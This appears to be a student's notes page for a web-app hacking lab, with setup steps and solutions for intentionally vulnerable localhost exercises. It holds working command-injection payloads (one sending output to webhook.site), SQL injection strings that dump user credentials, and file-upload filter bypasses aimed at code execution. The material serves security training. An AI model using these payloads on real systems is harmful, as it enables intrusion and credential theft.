Web App Lab Setup
Last updated
Was this helpful?
Last updated
Was this helpful?
Lab Requirements
1 Kali Linux VM
(optional)
Run pimpmykali.sh
with E
selection for PEH Course WebApp Labs
Run Burp Suite and open its proxy browser
Browse to http://localhost
The database can be initialized/reset at http://localhost/init.php
Lab solutions
Command Inj 0x02
https://tcm-sec.com/& whoami& asd
https://tcm-sec.com/ | sleep 10 | asd
https://webhook.site/<id>/?
whoami``
Command Inj 0x03
45123)^2))}';whoami;#
File upload 0x01
Intercept
Change contents
Or turn off JS
File upload 0x02
Bypass the client-side again
Intercept and change the content-type to image/png or image/jpeg
File upload 0x03
Bypass the client-side again
Intercept and change the content-type again
Use an extension that's not in the blocklist (.phtml)
Authentication 0x01
Brute force
Authentication 0x02
MFA code, switch username (code is OK for all users)
Or, just brute the code
Authentication 0x03
Account lockout after 5 attempts, therefore brute the top 4 passwords against a username list
common password list:
common usernames list:
/usr/share/seclists/Usernames/Names/names.txt
XXE, IDOR, capstone
XXE 0x01
IDOR
fuzz the parameter
find an admin user (or all of the admin users)
CapstoneSQLi to get into admin panel File upload to get RCE
XSS in the message alert
XSS in account names probably? need to test
brute force user accounts
SQLi on adding rating
http://localhost/capstone/coffee.php?coffee=3' or 1=1-- -
http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,username,password,null,null,null,null%20from%20users--%20-
To do list
file upload capstone
auth0x03 testing